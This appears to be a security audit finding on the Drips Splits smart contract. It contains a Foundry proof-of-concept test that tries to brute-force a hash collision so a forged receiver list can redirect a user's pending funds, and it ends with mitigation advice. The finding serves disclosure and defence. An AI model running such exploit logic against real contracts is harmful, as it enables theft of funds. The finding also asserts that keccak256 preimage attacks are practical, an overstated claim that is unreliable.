Lines of code

Vulnerability details

Impact

A motivated attacker could invest the resources to craft a malicious SplitsReceiver to steal all of a users’ pending funds.

Proof of Concept

This is a non-practical implementation of the attack, but shows by extending the SplitsReceiver array by any number of
dummy receivers we have any number of bytes to find the desired hash.

    function testExploit() public {
      SplitsReceiver[] memory receivers = splitsReceivers(receiver1, 1, receiver2, 1); 
      setSplits(user, receivers);

      uint256 mallory = 42; 
      SplitsReceiver[] memory malicious = splitsReceivers(mallory, Splits._TOTAL_SPLITS_WEIGHT, 0, 0); 

      bytes32 target = Splits._splitsHash(user);
      bytes32 hash;
      for (uint i; i < type(uint).max; ++i) {
        malicious[1].userId = i;
        hash = Splits._hashSplits(malicious);
        if (target == hash) break;
      }   

      // extend receivers array until target hash has been found

      console.logBytes32(target);
      console.logBytes32(hash);

      // now steal a users funds
      Splits._split(user, asset, malicious);

    }

This is a similar issue with the current _splits implementation as attacking merkle trees as outlined here [0] and here [1]

Preimage attacks on keccak256 are practical as outlined in [2] and previous papers especially without many restrictions on message size.

[0] <https://flawed.net.nz/2018/02/21/attacking-merkle-trees-with-a-second-preimage-attack/&gt;
[1] <https://github.com/kmag/bad_examples/blob/master/bad_merkle_tree/bad_naive_merkle_tree.py&gt;
[2] <https://eprint.iacr.org/2023/101&gt;

Tools Used

Foundry

Recommended Mitigation Steps

In addition to verifying the hash, _assertSplitsValid[3] should also be called in _split making the attack impractical. Also storing the number of receivers in addition to the hash would render the attack impossible at the added cost of storing an additional uint8 (MAX_SPLITS_RECEIVERS supported).

[3] <https://github.com/code-423n4/2023-01-drips/blob/main/src/Splits.sol#L226&gt;

The text was updated successfully, but these errors were encountered:

All reactions